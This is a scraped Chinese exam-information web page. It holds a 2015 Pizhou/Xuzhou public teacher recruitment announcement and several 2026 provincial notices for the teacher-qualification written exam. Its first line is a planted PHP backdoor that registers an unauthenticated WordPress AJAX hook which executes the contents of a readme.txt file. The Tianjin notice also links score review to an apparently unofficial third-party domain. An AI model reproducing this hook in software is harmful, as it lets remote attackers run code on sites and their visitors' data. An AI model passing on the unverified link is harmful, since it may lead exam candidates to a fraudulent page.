if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
江苏省徐州市2015年教师招聘公告-全国教师资格考试网

江苏省徐州市2015年教师招聘公告

    根据《事业单位人事管理条例》、《江苏省事业单位公开招聘人员办法》等规定,决定面向社会公开招聘210名教师。现将有关事项公告如下:
  一、报考条件
  1.具有中华人民共和国国籍,享有公民的政治权利;遵守中华人民共和国宪法和法律;坚持四项基本原则,拥护党的路线、方针、政策;
  2.遵纪守法,品行端正,团结同志,作风正派,廉洁奉公,有较强的事业心和责任感;
  3.学历、年龄、户籍条件:
  普通高等院校专科及以上毕业生(特教中心教师限特教学校特教专业毕业),报考日语、西班牙语和中专学校专业教师须具有本科及以上学历;年龄30周岁及以下(1985年5月31日以后出生);大专学历的,限徐州市户籍或生源;本科学历的不限户籍;
  硕士研究生及以上毕业生,年龄35周岁及以下(1980年5月31日以后出生),不限户籍。
  4.报考小学教师岗位的,须持有小学及以上教师资格证书,且教师资格证书上的任教学科与报考岗位要求的学科一致;报考特教专业教师岗位的,须持有所学专业对应的教师资格证书;报考日语、西班牙语和中专学校专业教师岗位的,可在应聘上岗后再补考教师资格证书,但本人毕业证书上的专业须与报考岗位要求的专业一致。
  5.身体健康,具备正常履行所报考岗位的身体条件。
  6.具备报考岗位要求的资格条件(详见《邳州市2015年公开招聘教师岗位简介表》)。
  7.2015年普通高校应届毕业生须于2015年7月31日前取得学历学位证书;留学回国人员报考的,还要出具教育部门的学历认证、我国驻外使领馆的有关证明材料;非邳州市学校在编教师需提供本单位同意报考证明。
  8.下列人员不得报考:现役军人;未达到最低服务年限的公务员和参照公务员法管理的事业单位工作人员及法院聘任制书记员;我市事业单位新招聘工作未满一年的人员;被辞退未满5年的公务员和事业单位工作人员;2016年及以后全日制普通高校在校学生;2010年以来在公务员和事业单位招录(聘)考试中被认定有严重违纪违规行为的人员;尚未解除纪律处分或正在接受纪律审查的人员;涉嫌违法犯罪正在接受调查的人员;曾因犯罪受过刑事处罚的人员和曾被开除公职的人员;违反江苏省计划生育政策的;邳州市各公办学校在编教师不得报考;其他不适宜从事事业单位岗位工作的人员。
  应聘人员与该学校单位负责人员有夫妻关系、直系血亲关系、三代以内旁系血亲关系或者近姻亲关系的,不得应聘该单位岗位。
  二、报名
  (一)报名方式、时间、地点
  报名方式:现场报名。
  报名时间:2015年5月16日至5月18日,每天上午8:30—12:00,下午2:00—5:30。
  报名地点:市教育局一楼大会议室(邳州市建设中路78号)。
  (二)报名注意事项及资格审查
  每位报考者仅限报考1个岗位。报名与考试使用的身份证必须一致,须为有效期内的二代身份证。凡弄虚作假的,一经查实,即取消聘用资格。
  报名时须提交:
  1.本人近期二寸同底版免冠正面彩照4张;
  2.填写《邳州市2015年教师招聘报名登记表》;
  3.2015年毕业生须提供就业推荐表、身份证、户口本原件及复印件;非2015年毕业生须提供毕业证书、教师资格证书、身份证、户口本原件及复印件。
  各岗位的开考比例为1︰3。报名结束后达不到开考比例的岗位,相应核减招聘岗位数,核减后仍达不到比例要求的,取消该岗位。招聘岗位被取消的报考人员,可以在5月19日上午8:30—12:00,下午2:00—5:30改报其它符合条件的岗位。
  本次公开招聘收取报名考试费100元。
  领取准考证日期、地点:5月23日,市教育局一楼大会议室。联系电话:0516-86626217。
  三、考试
  考试方式为:笔试和面试。
  (一)笔试内容主要包括教育教学基本理论和本学科专业知识等(报考中专学校教师岗位的,笔试内容为教育教学基本理论和公共基础知识等)。笔试采取闭卷形式,卷面满分100分,时间120分钟,不指定复习大纲和教材。
  (二)笔试时间和地点:2015年5月24日。笔试地点详见准考证。考生必须同时携带《准考证》和《身份证》,按照《准考证》上规定的时间和地点参加考试。
  (三)笔试阅卷结束后,划定笔试合格分数线。并从报考该岗位笔试成绩合格人员中,依笔试成绩从高分到低分的顺序,按计划招聘岗位数1︰3的比例确定参加面试人选(最后一名分数相同者一并参加面试),不足规定比例的按实际人数确定。
  (四)面试内容分为说课和即席演讲。满分为100分。说课(80分):在规定时间内,按指定内容独立备课、设计教案(30分钟),然后进行说课(10分钟);即席演讲(20分):随即抽取题目,进行限时即席演讲(5分钟)。面试考场得分由主考人员当场告知考生。面试成绩60分为合格线。
  面试日期:面试日期和地点在公示面试人员名单时一并公布。
  (五)总成绩计算方法:面试成绩在合格线以上的考生按笔试成绩占50%、面试成绩占50%的比例计算总成绩。总成绩在邳州人力资源和社会保障网、邳州教育网上予以公布。
  四、体检、考察
  面试结束后,根据报考人员总成绩,按招聘岗位拟招聘人数1︰1的比例从高分到低分确定参加体检人员。总成绩并列,以面试成绩高者优先;面试成绩再次并列的,以面试说课成绩高者优先。体检时间另行通知。
  体检按照《教师资格认定体检检查标准》、《公务员录用体检通用标准(试行)》和《公务员录用体检操作手册(试行)》执行。
  对体检合格人员由市人力资源和社会保障局、市教育局组织考察。根据体检和考察结果,确定拟聘用人员。因体检、考察不合格或其他情况出现岗位空缺时,均不实行递补。
  五、公示、选岗
  拟聘用人员名单在邳州人力资源和社会保障网、邳州教育网上进行公示,公示时间为7个工作日。举报者应实事求是地反映问题,提供必要的调查线索和联系方式。对反映问题查有实据,不符合聘用条件的,不予聘用。
  公示期满,符合聘用条件的拟聘用人员在规定时间内到市教育局集中,根据招聘计划和岗位设置要求,按总成绩从高分到低分的顺序依次进行选岗。未按时到现场或未按要求选择聘用岗位者,作自动放弃处理。
  六、聘用
  聘用人员确定后,由用人单位与被聘用人员签订聘用合同,聘用期限为3年,实行试用期制度,试用期满考核合格,予以定岗,考核不合格者,解除聘用合同,个人自主择业。聘期内不予调整工作单位。
  2015年应届毕业生须在2015年7月31日前提供本人毕业证、报到证、教师资格证等证书原件和复印件,逾期不提供者按自动放弃聘用资格处理。
  拟聘用人员与原工作单位签有劳动合同或聘用合同的,由本人按有关规定与原工作单位自行协商处理,并于2015年8月31日前提供相关证明。
  七、工作纪律
  坚持“公开、平等、竞争、择优”的原则。本次招聘由市人力资源和社会保障局、市教育局共同组织,市监察局全程监督。做到信息公开、过程公开、结果公开,切实增强招聘工作透明度。加强考务管理,严肃考风考纪,接受社会和群众监督。
  对考生考试作弊或弄虚作假的,视情节轻重取消其考试或聘用资格,已受聘人员,一经查实,解除聘用合同,予以清退;对工作人员徇私舞弊违反招聘纪律的,视情节轻重,调离工作岗位或给予处分,构成犯罪的依法追究其刑事责任。
  本《公告》由邳州市人力资源和社会保障局、邳州市教育局负责解释。
  监督电话:
  邳州市监察局 0516-86288720
  政策咨询电话:
  邳州市人力资源和社会保障局 0516-86288837
  邳州市教育局 0516-86626258
  附件:
    邳州 教育招聘附123
回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部